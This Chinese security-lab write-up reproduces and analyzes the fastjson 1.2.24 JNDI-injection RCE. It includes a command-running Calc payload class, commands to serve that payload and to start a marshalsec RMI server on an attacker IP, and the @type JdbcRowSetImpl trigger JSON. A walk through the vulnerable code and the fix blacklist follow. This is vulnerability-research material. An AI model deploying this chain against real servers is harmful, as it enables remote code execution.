追洞小组 | fastjson1.2.24复现+分析
出品|MS08067实验室(www.ms08067.com)
本文作者:爱吃芝士的小葵(Ms08067实验室追洞小组成员)
1、靶场搭建
2、漏洞复现
3、漏洞分析
4、漏洞修复
5、心得
靶场搭建
使用idea maven项目创建,在pom中导入fastjson的坐标。(因为本文复现1.2.24的rce,所以版本要小于1.2.24,本文采 取1.2.23版本坐标)。
导入之后在右边点击maven图标导入。
**坑点
其中环境有一个非常细小的点,可以说是个大坑,我调试了很久,之前的报错如下:
1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource
后来才发现是java的环境没有配置对,虽然都是jdk1.8,但是复现的环境采用1.8.0_102,之前的环境1.8.0_221没有复现成 功。因为JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。
漏洞复现
一、准备被远程下载的class文件
这边简单弹个计算器,也可以反弹shell
package com.v1rus;
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
命令行输入 javac Calc.java ,在当前文件夹下会生成Calc.class文件。
二、 http服务
可以简单的用python3在当前Calc.class文件的文件夹下起http服务
python -m http.server 8088
三、RMI服务
使用marshalsec起rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8
漏洞分析
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
首先放上服务端使用的poc demo:
package com.v1rus;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15
JSON.parseObject(v1rus);
}
}
一、熟悉fastjson工作流程
我们的poc中用到的类是
com.sun.rowset.JdbcRowSetImpl
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.j
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown So
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)
我们直接进入 com.alibaba.fastjson.JSON 这个类中,并在parseObject函数上面下断点。
最后会跟到这个方法上。通过DefaultJSONParser类去parse我们传入的字符串
跟进74行的parse代码。这里是根据JSONLexer的token为12到case的判断,进入关键函数
根据lexer.token()方法返回token的值,这里是12,所以进入else进行处理。
然后进入while(true)循环,第一步骤就是lexer.skipWhitespace,跟进去查看方法
因而返回的是 “ 号,所以可以进入if判断,根据变量名我们也可以得知,scanSymbol这个方法返回的是key关键字。
(key、value对)
大家可以简单的跟进
com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol
这个函数走一下流程,最后会通过双引号的闭合判断来返回value字符串,这边返回的就是第一个字符串 @type
继续往下走到了这里,将key和全局静态常量作比较看是否为 @type ,如果是的话,进入if判断。
跟进 com.alibaba.fastjson.util#loadClass ,这里面并没有做什么黑名单的过滤就讲这个类对象返回了。
上面那行代码,跟进分析
判断是类名返回
跟进方法分析返回
FastJsonASMDeserializer_1_JdbcRowSetImpl
再跟进deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址
一路跟到parseField方法
调用smartMatch方法来处理我们传入的key值,跟进这个方法
之后回跟到
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);这行代码,进入FieldDeserializer的parseField方法。进行一些Field的赋值操作。
再跟进
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue方法,根据fieldInfo.fieldClass判断该类,最后进入箭头指向的else体,通过反射调用setAutoCommit关键方法。嘿嘿,接下来不是为所欲为。
这个jdk自带的类必须要先获得一个connection,如果没有的话先执行connect方法。我们进去看看里面有什么。
因为我们在前面通过setDataSourceName()方法设置了dataSourceName的值,所以进入esle if通过lookup方法去获取dataSource。而rmi(java远程方法调用机制)的主角就是这个方法,如果lookup里面传入的参数可控,就可以指向我们所构造的rmi服务,那么就有很大的可能被攻击。(InitialContext 是一个实现了Context接口的类。使用这个类作为JNDI命名服务的入口点。)
这里也简单提一句JNDI和RMI关系,以便更好理解。简单来说,JNDI (Java Naming and Directory Interface)是一组应用程序接口。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中。
用referenceWrapper包装reference类,注册在jndi的rmi服务实现上,这里rmi服务器绑定的类并没有实现相应的接口,而是通过Refernces类来绑定过一个外部的远程对象。(这里先提及一下,后面会详细说明)一路跟进到这个最终的方法,该方法执行完就会加载完远程类实现rce。可以看到这里的var3是RegistryContext类,调用lookup函数。
跟进去时候传入的这个参数是Calc也就是/后面的请求文件,不为空之后调用this.registry(RegistryImpl_Stub,stub和skel的概念是相对而言的,并不只存在于服务端和客户端之间)的lookup方法,是我们可控的,所以就造成了JNDI注入漏洞。
继续跟进marshelsec可能会出现这样的错误:
java.net.SocketTimeoutException: Read timed out
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.io.BufferedInputStream.fill(Unknown Source)
at java.io.BufferedInputStream.read(Unknown Source)
at java.io.FilterInputStream.read(Unknown Source)
at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)
at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)
at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)
原因是网络读取数据超时,我们跟进方法的同时加长的数据传输的时间,等待超时抛出错误。至此利用的部分已经结束。
疑惑
因为JNDI注入中RMI服务器最终执行远程方法,但是目标服务器lookup()一个恶意的RMI服务地址,反而是目标服务器执行了。那么究竟是什么原因?
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过Reference类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
简而言之,在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址
取出对象并在Client实例化。
总结
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数造成RCE。
漏洞修复
从1.2.25开始对这个漏洞进行了修补,修补方式是会在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法中调用 com.alibaba.fastjson.parser.ParserConfig#checkAutoType来检查我们传入的类是不是在黑名单中,也就是将TypeUtils.loadClass替换为checkAutoType()函数:
只有通过了白名单的校验才会调用loadClass。
但是这里同时使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,相当于白名单并没有真正起到白名单的作用。我们仍然可以进入后续的流程来进行绕过。
黑名单里面禁止了一些常见的反序列化漏洞利用链:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
心得
1、 Fastjson主要还是利用了autotype功能实现"@type"字段指定反序列化的Class类型,所以尽量关闭autotype就没有问题。虽然Fastjson在1.2.24之后实现了一套黑名单,但还是存在被绕过风险。
2、 rmi在fastjson中的利用只是jndi的一种手段,还有ldap等。是在rmi服务器上绑定reference对象,与rmi本身的反序列话不是很有关系。它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例。
转载请联系作者并注明出处!
Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/
扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!
追洞小组 | fastjson1.2.24复现+分析的更多相关文章
- 追洞小组 | 实战CVE-2020-7471漏洞
出品|MS08067实验室(www.ms08067.com) 本文作者:守拙(Ms08067实验室追洞小组成员) 一.漏洞名称: 通过StringAgg(分隔符)的潜在SQL注入漏洞 二.漏洞编号: ...
- Fastjson1.2.24反序列化漏洞复现
Fastjson1.2.24 目录 1. 环境简介 1.1 物理环境 1.2 网络环境 1.3 工具 1.4 流程 2. Docker+vulhub+fastjson1.2.24 2.1 Docker ...
- 路由器漏洞复现分析第三弹:DVRF INTRO题目分析
这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...
- CVE-2020-7961 Liferay Portal 复现分析
漏洞说明: Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息.流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而 ...
- ref:spring-data-XMLBean XXE复现分析
ref:https://blog.spoock.com/2018/05/16/cve-2018-1259/ 漏洞信息 看pivotal发布的漏洞信息如下 通过发布的漏洞信息可以知道,漏洞组件是在XML ...
- 路由器漏洞复现分析第二弹:CNVD-2018-01084
1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...
- Wordpress4.9.6 任意文件删除漏洞复现分析
第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
随机推荐
- WPF 之命令(七)
一.前言 事件的作用是发布和传播一些消息,消息送达接收者,事件的使命也就完成了,至于消息响应者如何处理发送来的消息并不做规定,每个接收者可以使用自己的行为来响应事件.即事件不具有约束力. 命令 ...
- ElasticSearch 7.x 学习
目录 ElasticSearch 7.x 一.前言 1.1.正向索引和倒排索引 1.1.1.正向索引 1.1.2.倒排索引 二.安装 三.ES 基本概念 3.1.索引 3.2.文档 3.4.mappi ...
- HEXO添加置顶功能
使用库:参考 http://wangwlj.com/2018/01/09/blog_pin_post/ 目前已经有修改后支持置顶的仓库,可以直接用以下命令安装.(cmd 到博客根目录,nmp运行) $ ...
- vector最最最基础用法(非原创)
在c++中,vector是一个十分有用的容器,下面对这个容器做一下总结. 1 基本操作 (1)头文件#include<vector>. (2)创建vector对象,vector<in ...
- 利用设置新数据存储结构解决vue中折叠面板双向绑定index引起的问题
问题背景是,在进行机器性能可视化的前端开发时,使用折叠面板将不同机器的性能图表画到不同的折叠面板上去.而机器的选择利用select下拉选项来筛选. 由于在折叠面板中,通过 如下v-model双向绑定了 ...
- web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)
web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...
- js currying All In One
js currying All In One 柯里化 refs https://juejin.im/post/6844903603266650125 xgqfrms 2012-2020 www.cnb ...
- React Testing All in One
React Testing All in One React 测试 https://reactjs.org/docs/testing.html jest 26.4 https://jestjs.io/ ...
- PWA & TWA
PWA & TWA https://www.bilibili.com/video/av68082979/ Service Worker workbox.js https://developer ...
- Nestjs mongodb
nestjs 文档 mongoose 文档 使用"@meanie/mongoose-to-json"转换查询后返回的json数据 将"_id"转为"i ...